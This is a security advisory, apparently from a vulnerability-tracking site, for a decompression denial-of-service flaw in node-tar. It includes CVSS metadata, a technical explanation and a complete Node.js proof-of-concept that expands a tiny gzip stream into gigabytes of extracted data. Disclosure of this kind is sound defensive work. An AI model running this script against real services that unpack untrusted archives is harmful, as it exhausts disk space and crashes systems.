node-tar: Decompression/parse DoS via unlimited input
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
Summary
A Decompression/parse DoS via unlimited input vulnerability in node-tar allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services.
Details
The node-tar library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the maxReadSize option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk.
Specifically, in src/extract.ts, the Unpack stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). node-tar will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption.
PoC
The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly.
- Create the exploit script:
1const fs = require('fs'), z = require('zlib'), t = require('tar'); 2 3const d = 'dos_test'; 4if (fs.existsSync(d)) fs.rmSync(d, {recursive:true}); 5fs.mkdirSync(d); 6 7// Build 10GB header 8const h = Buffer.alloc(512); 9h.write('payload');10h.write((10*1024**3).toString(8).padStart(11,'0'), 124); 11h.write('ustar', 257);12let s = 256;13for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];14h.write(s.toString(8).padStart(6,'0'), 148);15 16const gz = z.createGzip();17gz.pipe(t.x({cwd: d}));18gz.write(h);19 20const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed21 22const run = () => {23 while (gz.write(b));24 gz.once('drain', run);25};26 27const monitor = setInterval(() => {28 try {29 const bytes = fs.statSync(`${d}/payload`).size;30 const mb = Math.floor(bytes / (1024 * 1024));31 process.stdout.write(`\r[>] Extracted: ${mb} MB`);32 33 if (mb > 5000) { 34 console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); 35 process.exit(); 36 }37 } catch {}38}, 50);39 40process.on('exit', () => {41 clearInterval(monitor);42 console.log('[*] Cleaning up...');43 if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});44});45 46run();- Run the PoC:
1node poc.jsObservation: You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible.
Impact
This is a Denial of Service (DoS) vulnerability. It impacts any application or service that uses node-tar to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 5
링크 내용 불러오는 중…